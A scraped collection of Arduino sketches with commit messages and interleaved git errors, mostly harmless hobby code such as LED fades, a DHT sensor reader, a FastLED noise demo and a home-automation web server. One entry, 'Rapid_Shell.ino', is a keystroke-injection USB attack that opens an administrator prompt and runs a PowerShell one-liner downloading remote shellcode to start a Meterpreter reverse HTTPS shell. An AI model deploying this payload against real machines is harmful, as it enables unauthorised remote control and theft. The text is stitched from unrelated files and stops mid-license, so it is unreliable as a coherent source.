   analogWrite(PIN_B, bCurrent);
}

void burstMultiple(byte nr, char ng, byte nb, int duration, char times){
  int i;
   for(i = 0; i < times; i++){
     burstColor(nr, ng, nb, duration);
     delay(duration);
   }
}

void fadeWhite(){
  fadeTo(0,0,0,1);
  fadeTo(255, 255, 255, 20);
  fadeTo(0,0,0,20);
}

void loop(){
  //rainbow();
  fadeWhite();
  /*burstMultiple(255, 0, 0, 50, 10);
  burstMultiple(0, 255, 0, 50, 10);
  burstMultiple(0, 0, 255, 50, 10);
  burstMultiple(255, 255, 255, 50, 10);
  burstMultiple(255, 0, 0, 50, 10);
  burstMultiple(0, 255, 0, 50, 10);
  burstMultiple(0, 0, 255, 50, 10);
  burstMultiple(16, 16, 16, 50, 10);
  burstMultiple(48, 48, 48, 50, 10);
  burstMultiple(128, 128, 128, 50, 10);
  burstMultiple(192, 192, 192, 50, 10);
  burstMultiple(255, 255, 255, 50, 10);*/
}

error: pathspec 'ikea_dioder_demo/ikea_dioder_demo.ino' did not match any file(s) known to git


Uso de entradas y salidas digitales

Uso de entradas y salidas digitales

/*******************************************************************************
 *
 *                  Uso de entradas y salidas digitales
 *
 *******************************************************************************
 * FileName:        LM4F_E001
 * Processor:       EX-LM4F120XL
 * Complier:        Energia 0101e0017
 * Author:          Pedro Sánchez (MrChunckuee)
 * Blog:            http://mrchunckuee.blogspot.com/
 * Email:           mrchunckuee.psr@gmail.com
 * Description:     Este ejemplo enciende los LEDs dependiendo de la cantidad
                    de veces que se precione el boton PUSH1.
 *******************************************************************************
 * Rev.         Date            Comment
 *   v1.00      12/06/2016      Creación del firmware
 ******************************************************************************/

char count;

void setup() {
  // Inicializa entradas y salidas
  // Activamos Pull-Up en PUSH1
  pinMode(RED_LED, OUTPUT);
  pinMode(GREEN_LED, OUTPUT);
  pinMode(BLUE_LED, OUTPUT);
  pinMode(PUSH1, INPUT_PULLUP);
  count=0;
}

void loop() {
 ReadInputs();
 SetOutputs();
}

void ReadInputs (){
  if (digitalRead(PUSH1)==LOW){ //Checamos el estado de PUSH1
    count = count + 1;
    if(count>4) count = 1;
    while(digitalRead(PUSH1)==LOW);
    delay(1);
  }
}

void SetOutputs(){
  switch(count){//Colocamos las salidad dependiendo del estado de count
    case 1:
    digitalWrite(RED_LED, HIGH);
    digitalWrite(GREEN_LED, LOW);
    digitalWrite(BLUE_LED, LOW);
    break;
    case 2:
    digitalWrite(RED_LED, LOW);
    digitalWrite(GREEN_LED, HIGH);
    digitalWrite(BLUE_LED, LOW);
    break;
    case 3:
    digitalWrite(RED_LED, LOW);
    digitalWrite(GREEN_LED, LOW);
    digitalWrite(BLUE_LED, HIGH);
    break;
    case 4:
    digitalWrite(RED_LED, HIGH);
    digitalWrite(GREEN_LED, HIGH);
    digitalWrite(BLUE_LED, HIGH);
    break;
    default:
    digitalWrite(RED_LED, LOW);
    digitalWrite(GREEN_LED, LOW);
    digitalWrite(BLUE_LED, LOW);
    break;
  }
}

error: pathspec 'LM4F_E001/LM4F_E001.ino' did not match any file(s) known to git


Create Remote.ino

Create Remote.ino

error: pathspec 'Firmware/Remote/Remote.ino' did not match any file(s) known to git


Arduino program used in "Arduino - Using the 1Sheeld on the Onion Omega"

// Example testing sketch for various DHT humidity/temperature sensors
// Written by ladyada, public domain

#define CUSTOM_SETTINGS
#define INCLUDE_TERMINAL_SHIELD

/* Include 1Sheeld library. */
#include <OnionLibrary.h>
#include <OneSheeld.h>
#include "DHT.h"

#define DHTPIN 2     // what pin we're connected to

// Uncomment whatever type you're using!
//#define DHTTYPE DHT11   // DHT 11
#define DHTTYPE DHT22   // DHT 22  (AM2302)
//#define DHTTYPE DHT21   // DHT 21 (AM2301)

// Connect pin 1 (on the left) of the sensor to +5V
// Connect pin 2 of the sensor to whatever your DHTPIN is
// Connect pin 4 (on the right) of the sensor to GROUND
// Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor

DHT dht(DHTPIN, DHTTYPE);
Onion* onionSetup;

void setup() {
  onionSetup = new Onion;
  /* Start communication. */
  OneSheeld.begin();

  dht.begin();
  Terminal.println("DHTxx test!");
}

void loop() {
  // Reading temperature or humidity takes about 250 milliseconds!
  // Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)
  float h = dht.readHumidity();
  float t = dht.readTemperature();

  // check if returns are valid, if they are NaN (not a number) then something went wrong!
  if (isnan(t) || isnan(h)) {
    Terminal.println("Failed to read from DHT");
  } else {
    Terminal.print("Humidity: ");
    Terminal.print(h);
    Terminal.print(" %\t");
    Terminal.print("Temperature: ");
    Terminal.print(t);
    Terminal.println(" *C");
  }
}

error: pathspec 'Ard-1SheeldOmega/DHTshield/DHTshield.ino' did not match any file(s) known to git


Added noise comparison example.

Added noise comparison example.

#define SMARTMATRIX_ENABLED   0

#include "application.h"

#if (SMARTMATRIX_ENABLED == 1)
  #include "SmartMatrix3/SmartMatrix3.h"
#endif

#include "FastLEDSmartMatrix/FastLEDSmartMatrix.h"
FASTLED_USING_NAMESPACE;

#if (SMARTMATRIX_ENABLED == 1)
  #define COLOR_DEPTH 24                  // known working: 24, 48 - If the sketch uses type `rgb24` directly, COLOR_DEPTH must be 24
  const uint8_t kMatrixWidth = 16;        // known working: 16, 32, 48, 64
  const uint8_t kMatrixHeight = 16;       // known working: 32, 64, 96, 128
  const uint8_t kRefreshDepth = 36;       // known working: 24, 36, 48
  const uint8_t kDmaBufferRows = 4;       // known working: 2-4, use 2 to save memory, more to keep from dropping frames and automatically lowering refresh rate
  const uint8_t kPanelType = 0;   // use SMARTMATRIX_HUB75_16ROW_MOD8SCAN for common 16x32 panels
  const uint8_t kMatrixOptions = (SMARTMATRIX_OPTIONS_NONE);      // see http://docs.pixelmatix.com/SmartMatrix for options
  const uint8_t kBackgroundLayerOptions = (SM_BACKGROUND_OPTIONS_NONE);
  const uint8_t kScrollingLayerOptions = (SM_SCROLLING_OPTIONS_NONE);

  SMARTMATRIX_ALLOCATE_BUFFERS(matrix, kMatrixWidth, kMatrixHeight, kRefreshDepth, kDmaBufferRows, kPanelType, kMatrixOptions);
  SMARTMATRIX_ALLOCATE_BACKGROUND_LAYER(backgroundLayer, kMatrixWidth, kMatrixHeight, COLOR_DEPTH, kBackgroundLayerOptions);
  SMARTMATRIX_ALLOCATE_SCROLLING_LAYER(scrollingLayer, kMatrixWidth, kMatrixHeight, COLOR_DEPTH, kScrollingLayerOptions);

  rgb24 *buffer;

  const uint16_t NUM_LEDS = kMatrixWidth * kMatrixHeight;
#else
  #define DATA_PIN D2
  #define CLOCK_PIN D4

  #define COLOR_ORDER BGR
  #define CHIPSET     APA102

  // Params for width and height
  const uint8_t kMatrixWidth = 16;
  const uint8_t kMatrixHeight = 16;

  const uint16_t NUM_LEDS = kMatrixWidth * kMatrixHeight;

  CRGB leds_plus_safety_pixel[ NUM_LEDS + 1];
  CRGB* leds( leds_plus_safety_pixel + 1);
#endif

const uint8_t scale = 256 / kMatrixWidth;

#if (SMARTMATRIX_ENABLED == 1)
  uint16_t XY(uint8_t x, uint8_t y) {
    return kMatrixWidth * y + x;
  }
#else
  uint16_t XY( uint8_t x, uint8_t y)
  {
    uint16_t i;

    if( y & 0x01) {
      // Odd rows run backwards
      uint8_t reverseX = (kMatrixWidth - 1) - x;
      i = (y * kMatrixWidth) + reverseX;
    } else {
      // Even rows run forwards
      i = (y * kMatrixWidth) + x;
    }

    return i;
  }
#endif

#define BRIGHTNESS 10

void setup() {
#if (SMARTMATRIX_ENABLED == 1)
  matrix.addLayer(&backgroundLayer);
  matrix.addLayer(&scrollingLayer);
  matrix.begin();
  matrix.setBrightness(BRIGHTNESS);
  backgroundLayer.enableColorCorrection(false);
#else
  FastLED.addLeds<CHIPSET, DATA_PIN, CLOCK_PIN, COLOR_ORDER, DATA_RATE_MHZ(1)>(leds, NUM_LEDS).setCorrection(TypicalSMD5050);
  FastLED.setBrightness( BRIGHTNESS );

  // FastLED.setDither(BINARY_DITHER);
  FastLED.setDither(DISABLE_DITHER);
#endif
}

uint16_t noisex;
uint16_t noisey;
uint16_t noisez;

int noisespeedx;
int noisespeedy;
int noisespeedz;

uint16_t noisescale;

CRGBPalette16 palette;

void drawNoise()
{
  for (uint8_t x = 0; x < kMatrixWidth; x++) {
    for (uint8_t y = 0; y < kMatrixHeight; y++) {
      uint16_t xoffset = noisescale * x;
      uint16_t yoffset = noisescale * y;

      uint8_t index = inoise8(x + xoffset + noisex, y + yoffset + noisey, noisez);

      // The range of the inoise8 function is roughly 16-238.
      // These two operations expand those values out to roughly 0..255
      // You can comment them out if you want the raw noise data.
      index = qsub8(index, 16);
      index = qadd8(index, scale8(index, 39));

#if (SMARTMATRIX_ENABLED == 1)
      buffer[XY(x, y)] = ColorFromPalette(palette, index);
#else
      leds[XY(x, y)] = ColorFromPalette(palette, index);
#endif
    }
  }

  noisex += noisespeedx;
  noisey += noisespeedy;
  noisez += noisespeedz;
}

void fireNoise() {
  noisespeedx = 0;
  noisespeedy = 64;
  noisespeedz = 0;
  noisescale = 64;
  palette = HeatColors_p;
  drawNoise();
}

void fireNoise2() {
  noisespeedx = 0;
  noisespeedy = 192;
  noisespeedz = 4;
  noisescale = 128;
  palette = HeatColors_p;
  drawNoise();
}

void lavaNoise() {
  noisespeedx = 0;
  noisespeedy = -3;
  noisespeedz = 2;
  noisescale = 8;
  palette = LavaColors_p;
  drawNoise();
}

void rainbowNoise() {
  noisespeedx = 8;
  noisespeedy = 0;
  noisespeedz = 0;
  noisescale = 16;
  palette = RainbowColors_p;
  drawNoise();
}

void rainbowStripeNoise() {
  noisespeedx = 2;
  noisespeedy = 0;
  noisespeedz = 0;
  noisescale = 4;
  palette = RainbowStripeColors_p;
  drawNoise();
}

void partyNoise() {
  noisespeedx = 0;
  noisespeedy = 8;
  noisespeedz = 1;
  noisescale = 16;
  palette = PartyColors_p;
  drawNoise();
}

void forestNoise() {
  noisespeedx = 2;
  noisespeedy = 0;
  noisespeedz = 0;
  noisescale = 4;
  palette = ForestColors_p;
  drawNoise();
}

void cloudNoise() {
  noisespeedx = 0;
  noisespeedy = 4;
  noisespeedz = 0;
  noisescale = 16;
  palette = CloudColors_p;
  drawNoise();
}

void oceanNoise() {
  noisespeedx = 0;
  noisespeedy = 0;
  noisespeedz = 16;
  noisescale = 16;
  palette = OceanColors_p;
  drawNoise();
}

typedef void (*Pattern)();
typedef Pattern PatternList[];

const PatternList patterns = {
  fireNoise,
  fireNoise2,
  lavaNoise,
  rainbowNoise,
  rainbowStripeNoise,
  partyNoise,
  forestNoise,
  cloudNoise,
  oceanNoise,
};

#define ARRAY_SIZE(A) (sizeof(A) / sizeof((A)[0]))
const uint8_t patternCount = ARRAY_SIZE(patterns);

uint8_t patternIndex = 0;

void nextPattern()
{
  // add one to the current pattern number, and wrap around at the end
  patternIndex = (patternIndex + 1) % patternCount;
}

void loop() {
   EVERY_N_MILLISECONDS(1000/30) {

#if (SMARTMATRIX_ENABLED == 1)
    buffer = backgroundLayer.backBuffer();
#endif

  patterns[patternIndex]();

#if (SMARTMATRIX_ENABLED == 1)
    backgroundLayer.swapBuffers(true);
#endif
  }

#if (SMARTMATRIX_ENABLED == 0)
  FastLED.show();
#endif

  EVERY_N_SECONDS( 5 ) {
    nextPattern();  // change patterns periodically
  }
}

error: pathspec 'firmware/examples/FastLedComparisonNoise/FastLedComparisonNoise.ino' did not match any file(s) known to git


Four heaters cycling, temp and time validated.  Currently running at 100 ms update.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/FirstBuild/pizzaduino.git/'


M5StackFire neopixel VU meter added

M5StackFire neopixel VU meter added

/*
 microphone test

   hardwware:  M5StackFire

 please use the serial plotter in the Arduino IDE to show the signal
 change the baudrate of the plotter to 115200

 September 2018, ChrisMicro
*/

#define M5STACKFIRE_MICROPHONE_PIN 34

void setup()
{
  Serial.begin(115200);
}

void loop()
{
  int micValue = analogRead(M5STACKFIRE_MICROPHONE_PIN);

  Serial.println(micValue);
  delay(1);
}

error: pathspec 'examples/Fire/M5StackFire_NeoPixelVUmeter/M5StackFire_NeoPixelVUmeter.ino' did not match any file(s) known to git


Add basic fillbrick scrolling line test

Add basic fillbrick scrolling line test

//Pin connected to ST_CP of 74HC595
const int latchPin = 12;
//Pin connected to SH_CP of 74HC595
const int clockPin = 11;
////Pin connected to DS of 74HC595
const int dataPin = 13;

void setup() {
  pinMode(latchPin, OUTPUT);
  pinMode(clockPin, OUTPUT);
  pinMode(dataPin, OUTPUT);
}

void loop() {
  // count from 2 (0x00001) to 32 (0x10000)
  // note: the furthest right pin is disconnected; drop the right most digit in binary
  for (int a = 2 ; a< 32;a*=2) {
    digitalWrite(latchPin, LOW);
    // shift out the bits:
    shiftOut(dataPin, clockPin, MSBFIRST, data[a]);
    //take the latch pin high so the LEDs will light up:
    digitalWrite(latchPin, HIGH);
    // pause before next value:
    delay(500);
  }
}

error: pathspec 'arduino/fillbrick.ino' did not match any file(s) known to git


Create elfi.ino

Create elfi.ino

Main file of the ElFi project.

/**
 * @flie elfi.ino
 * @version 1.0
 *
 * @section License
 * Copyright (C) 2015, Alexander Sehlström
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * @section Description
 * ElFi is a Do It Yourself Home Automation System.
 *
 * ElFi handels  divece timers that, using a RF433 transmitter,
 * switches devices on/off at given time at specified days.
 * Furthermore, using the Arduino Ethernet Sheild that retreives a
 * LAN IP from a router using DHCP, ElFi hosts a web server. The web
 * server provides an HTML interface that allows manual controll of
 * the connected devices using e.g. your smart phone. Also, the real
 * time clock of ElFi is set by retreiving the time from a NTP.
 *
 * In order for ElFi to work, you need:
 * - Arduino with Ethernet Sheild
 * - RF433/TX
 * - NEXA Self learning switches, e.g. NEXA NEYC-3
 * - COSA library (Object-Oriented Platform for Arduino Programming,
 *   https://github.com/mikaelpatel/Cosa)
 * - Dedicated LAN IP for the Ethernet Sheild to allow easy acces
 *   to the web server on the Arduino
 *
 * @section Circuit
 * This sketch is designed for the Ethernet Shield wired
 * with a RF433/TX.
 *
 *
 *                       W5100/ethernet
 *                       +------------+
 * (D10)--------------29-|CSN         |
 * (D11)--------------28-|MOSI        |
 * (D12)--------------27-|MISO        |
 * (D13)--------------30-|SCK         |
 * (D2)-----[ ]-------56-|IRQ         |
 *                       +------------+
 *
 *                         RF433/TX
 *                       +------------+
 * (GND)---------------1-|GND         |
 * (D9)----------------2-|DATA IN     |                   V
 * (VCC)---------------3-|VCC         |                   |
 *                       |ANT       0-|-------------------+
 *                       +------------+       173 mm
 *
 * Connect the Ethernet Shield on the Arduino and then the
 * Ethernet Sheild D9 to RF433 Transmitter data in pin.
 *
 * This file is part of the Arduino ElFi project.
 */

// DEVELOPMENT MODE ============================================================
//#define DEVMODE 1

#if defined DEVMODE
#include "Cosa/Trace.hh"
#include "Cosa/IOStream/Driver/UART.hh"
#endif

// INCLUDES ====================================================================
// Cosa library ----------------------------------------------------------------
#include "Cosa/Trace.hh"
#include "Cosa/Watchdog.hh"
#include "Cosa/OutputPin.hh"

#include "Cosa/INET/DHCP.hh"
#include "Cosa/INET/DNS.hh"
#include "Cosa/INET/NTP.hh"

#include "Cosa/Driver/NEXA.hh"

#include "Cosa/Socket/Driver/W5100.hh"

// ElFi library ----------------------------------------------------------------
#include "TimerActivity.h"
#include "WebServer.h"

// DEFINITIONS =================================================================
// Network configuration -------------------------------------------------------
#define MAC 0xde, 0xad, 0xbe, 0xef, 0xfe, 0xed
#define PORT 80

// Time ------------------------------------------------------------------------
#define TIME_ZONE 1                              // Time-zone; GMT+1, Stockholm
#define TIME_NTP_SERVER "se.pool.ntp.org"        // NTP server; se.pool.ntp.org

// HARDWARE SETUP ==============================================================
// Ethernet Sheild -------------------------------------------------------------
// Disable SD on Ethernet Shield
#define USE_ETHERNET_SHIELD
#define USE_ETHERNET_SHIELD
#if defined(USE_ETHERNET_SHIELD)
#include "Cosa/OutputPin.hh"
OutputPin sd(Board::D4, 1);
#endif

// DECLARATIONS ================================================================
// Alarm and activity ----------------------------------------------------------
// Alarm and activity sheduler
Alarm::Scheduler scheduler;

// DeviceTimer activities
const uint8_t allDays[7] = {1, 1, 1, 1, 1, 1, 1};
const uint8_t weekDays[7] = {0, 1, 1, 1, 1, 1, 0};
const uint8_t weekendDays[7] = {1, 0, 0, 0, 0, 0, 1};

const uint8_t all = -1;

const uint8_t on = 1;
const uint8_t off = 0;

FunctionTimer functionTimers[1] = {
  FunctionTimer(weekDays,   6, 40,  0, &update_RTC),   //  1 Update the RTC
};

DeviceTimer deviceTimers[5] = {
  DeviceTimer(weekDays,     6, 40,  0, all, on),       //  1 Weekday morning on
  DeviceTimer(weekDays,     7, 25,  0, all, off),      //  2 Weekday morning off
  DeviceTimer(weekDays,    22, 30,  0, all, on),       //  3 Weekday night off
  DeviceTimer(weekendDays,  8, 30,  0, all, off),      //  4 Weekend morning on
  DeviceTimer(allDays,     23, 30,  0, all, off)       //  5 All days night off
};

// DHCP, ethernet and web server -----------------------------------------------
// MAC-address
static const uint8_t mac[6] __PROGMEM = { MAC };

// Host name
static const char hostname[] __PROGMEM = "ElFi";

// DHCP
DHCP dhcp(hostname, mac);

// Ethernet
W5100 ethernet(mac);

// Web server
WebServer server;

// HTML end of line
#define CRLF "\r\n"

// NEXA communications ---------------------------------------------------------
// NEXA RF433/TX transmitter.
NEXA::Transmitter transmitter(Board::D9, 0xc05a01L);

// CLASS IMPLEMENTATAIONS ======================================================
// WebServer -------------------------------------------------------------------
/**
 * The HTML page provided on request is Apple Web Application compatible. It
 * uses a simple jQuery script to pass background GET queries triggerd by the
 * interface buttons. The interface design is controlled via a header defined
 * style (CSS).
 */
void
WebServer::on_request(IOStream& page, char* method, char* path, char* query)
{
  static const char header[] __PROGMEM =
    "HTTP/1.1 200 OK" CRLF
    "Content-Type: text/html" CRLF
    "Connection: close" CRLF CRLF
    "<!DOCTYPE HTML>" CRLF
    "" CRLF
    "" CRLF
    "<meta charset=\"UTF-8\">"
    "<meta name='apple-mobile-web-app-capable' content='yes' />" CRLF
    "<meta name='apple-mobile-web-app-status-bar-style' content='black' />" CRLF
    "<meta name='apple-mobile-web-app-title' content='Home Automation System' />" CRLF
    "<meta name='viewport' content='width=device-width, initial-scale=1, user-scalable = no'>" CRLF
    "" CRLF
    "" CRLF
    "" CRLF
    "<title>ElFI - Home Automation System</title>" CRLF
    "" CRLF
    "" CRLF;

  static const char body1[] __PROGMEM =
    "
ElFi
" CRLF
    "
" CRLF
    "
" CRLF
    "

NEXA Devices

" CRLF
    "
" CRLF
    "<button onclick=\"deviceControll('http://10.0.1.190/?all_devices_on');\">All on</button>" CRLF
    "
" CRLF
    "
" CRLF
    "<button onclick=\"deviceControll('http://10.0.1.190/?all_devices_off');\">All off</button>" CRLF
    "
" CRLF
    "
" CRLF;

  static const char body_device1[] __PROGMEM =
    "
" CRLF
    "

NEXA ";

  static const char body_device2[] __PROGMEM =
    "

" CRLF
    "
" CRLF
    "<button onclick=\"deviceControll('http://10.0.1.190/?device_on_";

  static const char body_device3[] __PROGMEM =
    "');\">On</button>" CRLF
    "
" CRLF
    "
" CRLF
    "<button onclick=\"deviceControll('http://10.0.1.190/?device_off_";

  static const char body_device4[] __PROGMEM =
    "');\">Off</button>" CRLF
    "
" CRLF
    "
" CRLF;

  static const char footer[] __PROGMEM =
    "" CRLF
    "";

  // Construct the page; header-contents-footer
  page << (str_P) header;
  page << (str_P) body1;

  // All unique devices
  for (int i = 0; i < 3; i++)
  {
    page << (str_P) body_device1
         << i
         << (str_P) body_device2
         << i
         << (str_P) body_device3
         << i
         << (str_P) body_device4;
  }

  page << PSTR("
") << endl;

  time_t time = RTC::time();
  page << PSTR("
Time: ") << time << PSTR("
") << endl;

  page << (str_P) footer;

  // Handle queries
  if (query != NULL)
  {
    char *function;

    function = "all_devices_on";
    if(strcmp(query, function) == 0) {
      transmitter.broadcast(0, on);
      transmitter.broadcast(1, on);
      transmitter.broadcast(2, on);
      transmitter.broadcast(3, on);
    }

    function = "all_devices_off";
    if(strcmp(query, function) == 0) {
      transmitter.broadcast(0, off);
      transmitter.broadcast(1, off);
      transmitter.broadcast(2, off);
      transmitter.broadcast(3, off);
    }

    function = "device_on_0";
    if(strcmp(query, function) == 0) {
      transmitter.send(0, on);
    }

    function = "device_off_0";
    if(strcmp(query, function) == 0) {
      transmitter.send(0, off);
    }

      function = "device_on_1";
    if(strcmp(query, function) == 0) {
      transmitter.send(1, on);
    }

    function = "device_off_1";
    if(strcmp(query, function) == 0) {
      transmitter.send(1, off);
    }

    function = "device_on_2";
    if(strcmp(query, function) == 0) {
      transmitter.send(2, on);
    }

    function = "device_off_2";
    if(strcmp(query, function) == 0) {
      transmitter.send(2, off);
    }
  }
}

// DeviceTimer -----------------------------------------------------------------
void
DeviceTimer::enable()
{
  // Set time of the activity
  time_t start = RTC::time();
  start.hours = m_hours;
  start.minutes = m_minutes;
  start.seconds = m_seconds;

  // Pass first time (in seconds after epoch time) for the first occurence of the activity
  clock_t start_clock = start;
  set_time(start_clock, 1, 1440);

  // Enable the activity
  Activity::enable();

  #if defined(DEVMODE)
  trace << PSTR("Enables DeviceTimer at ") << start
        << PSTR(" (") << start_clock << PSTR(" seconds)")
        << endl;
  #endif
}

void
DeviceTimer::run()
{
  #if defined(DEVMODE)
  trace << PSTR("DeviceTimer dispatched: ") << endl;
  #endif
  time_t time = RTC::time();
  uint8_t d = time.day;
  if (m_day[d-1]) {
    if (m_device != 255)
    {
      transmitter.send(m_device, m_mode);
    }
    else
    {
      transmitter.broadcast(0, m_mode);
      transmitter.broadcast(1, m_mode);
      transmitter.broadcast(2, m_mode);
      transmitter.broadcast(3, m_mode);
    }
  }
}

// Function timer --------------------------------------------------------------
void
FunctionTimer::enable()
{
  // Set time of the activity
  time_t start = RTC::time();
  start.hours = m_hours;
  start.minutes = m_minutes;
  start.seconds = m_seconds;

  // Pass first time (in seconds after epoch time) for the first occurence of the activity
  clock_t start_clock = start;
  set_time(start_clock, 1, 1440);

  // Enable the activity
  Activity::enable();

  #if defined(DEVMODE)
  trace << PSTR("Enables FunctionTimer at ") << start
        << PSTR(" (") << start_clock << PSTR(" seconds)")
        << endl;
  #endif
}

void
FunctionTimer::run()
{
  #if defined(DEVMODE)
  trace << PSTR("FunctionTimer dispatched: ") << endl;
  #endif
  time_t time = RTC::time();
  uint8_t d = time.day;
  if (m_day[d-1]) {
    m_function();
  }
}

// FUNCTIONS ===================================================================
// Time functions --------------------------------------------------------------
/**
 * Update the Real Time Clock on the Arduino. Also updates the time in all the
 * alarms and activities.
 */
void
update_RTC()
{
  // Update the RTC
  RTC::time(get_NTP_time());

  // Match time in Alarm with RTC
  Alarm::set_time(RTC::time());
}

/**
 * Get the current time from a NTP.
 */
clock_t
get_NTP_time()
{
  uint8_t server[4];

  // Use DNS to get the NTP server network address
  DNS dns;
  ethernet.get_dns_addr(server);
  if (!dns.begin(ethernet.socket(Socket::UDP), server)) return 0L;
  if (dns.gethostbyname_P(PSTR(TIME_NTP_SERVER), server) != 0) return 0L;

  // Connect to the NTP server using given socket
  NTP ntp(ethernet.socket(Socket::UDP), server, TIME_ZONE);

  // Get current time. Allow a number of retries
  const uint8_t RETRY_MAX = 20;
  clock_t clock;
  for (uint8_t retry = 0; retry < RETRY_MAX; retry++)
    if ((clock = ntp.time()) != 0L) break;
  ASSERT(clock != 0L);

  return clock;
}

// MAIN PROGRAM ================================================================
void
setup()
{
  #if defined(DEVMODE)
  uart.begin(9600);
  trace.begin(&uart, PSTR("ElFi: start"));
  #endif

  // Start the watchdog, real-time clock and the alarm scheduler
  Watchdog::begin(16, Watchdog::push_timeout_events);
  RTC::begin();
  scheduler.begin();

  // Initiate the Ethernet Controller using DHCP
  ASSERT(ethernet.begin_P(PSTR("ElFi")));

  // Start the server
  ASSERT(server.begin(ethernet.socket(Socket::TCP, PORT)));

  // Clock settings
  time_t::epoch_year( NTP_EPOCH_YEAR );
  time_t::epoch_weekday = NTP_EPOCH_WEEKDAY;
  time_t::pivot_year = 37; // 1937..2036 range

  // Set the clock
  update_RTC();

  #if defined(DEVMODE)
  // Print current time
  time_t time = RTC::time();
  trace << PSTR("Current time ") << time << endl;
  #endif

  // Enable the timer handlers
  int m = sizeof(functionTimers)/sizeof(*functionTimers);
  for (int i = 0; i < m; i++) {
    functionTimers[i].enable();
  }

  m = sizeof(deviceTimers)/sizeof(*deviceTimers);
  for (int i = 0; i < m; i++) {
    deviceTimers[i].enable();
  }
}

void loop()
{
  // The standard event dispatcher
  Event event;
  while (Event::queue.dequeue( &event ))
    event.dispatch();

  // Service incoming requests
  server.run(5L);
}

error: pathspec 'elfi.ino' did not match any file(s) known to git


Nightly

Nightly

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rniemand/ArduinoProjects.git/'


Finished V03

Finished V03

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Omemanti/MantiOT.git/'


Using struct dataset now. Prescaler changed back to /16 until I can get this working. Now using aggregate data from 10,000 adc readings. Paves the way for better data analysis in the future. For now just computing average, max, and min, to see how different prescaler (adc speed) settings affect measurements.

error: pathspec 'Motor' did not match any file(s) known to git
error: pathspec 'Speed/testMeasurementSpeeds/testMeasurementSpeeds.ino' did not match any file(s) known to git


Add the ability to download a sequence and step though it under blue tooth and thermal control

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/bradgrantham/lathser.git/'


Create Rapid_Shell.ino

Create Rapid_Shell.ino

This program do the following:
1/Starts Command prompt as Administrator
2/Run a powershell script which self-creates/opens a metasploit payload seemlessly

Running time: 30 seconds (+- 5 seconds)
Exposed time: 66%

#include "DigiKeyboard.h"
// This script is designed for use on Windows machines with QWERTY as a keyboard layout
// As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the "az_qw_convert.sh" script to convert AZERTY to QWERTY layout.
// For more scripts checkout: https://git.io/vAGf4
// Developer: NBN | 02/13/2018 @19:00
void setup() {
  // Initialize the digital pin as an output.
  pinMode(1, OUTPUT); //LED on Model A
}
// Infinite loop
void loop() {

  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  digitalWrite(1, HIGH); // LED on <--> Action start
// BEGIN - Open CMD in Administrator Privileges
  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  DigiKeyboard.delay(1500);
  DigiKeyboard.print("c;d");
  DigiKeyboard.delay(1500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
// END - Open CMD in Administrator Privileges
  DigiKeyboard.delay(1500);
  DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
  DigiKeyboard.delay(250);
  DigiKeyboard.println("cd %TEMP%");
  DigiKeyboard.delay(250);
  DigiKeyboard.println("copy con tmp.cmd");
  DigiKeyboard.delay(500);
  DigiKeyboard.println("start C:/Windows/System32/Ribbons.scr /s");
  DigiKeyboard.delay(250);
  DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <IP_ADDRESS> -Lport <PORT> -Force""); // Edit both Lhost and Lport according to your setup
  DigiKeyboard.delay(250);
  DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC)
  digitalWrite(1, LOW); // LED off <--> Action end
  DigiKeyboard.delay(5000); // 5 seconds delay to unplug the device safely between loops
}

error: pathspec 'Rapid_Shell/Rapid_Shell.ino' did not match any file(s) known to git


Create ESP_chip_id.ino

Create ESP_chip_id.ino

error: pathspec 'sample/ESP_chip_id.ino' did not match any file(s) known to git


Adding first Nucleo benchmark; thread context switch (12-13 us).

/**
 * @file CosaNucleoBenchmark.ino
 * @version 1.0
 *
 * @section License
 * Copyright (C) 2014, Mikael Patel
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General
 * Public License along with this library; if not, write to the
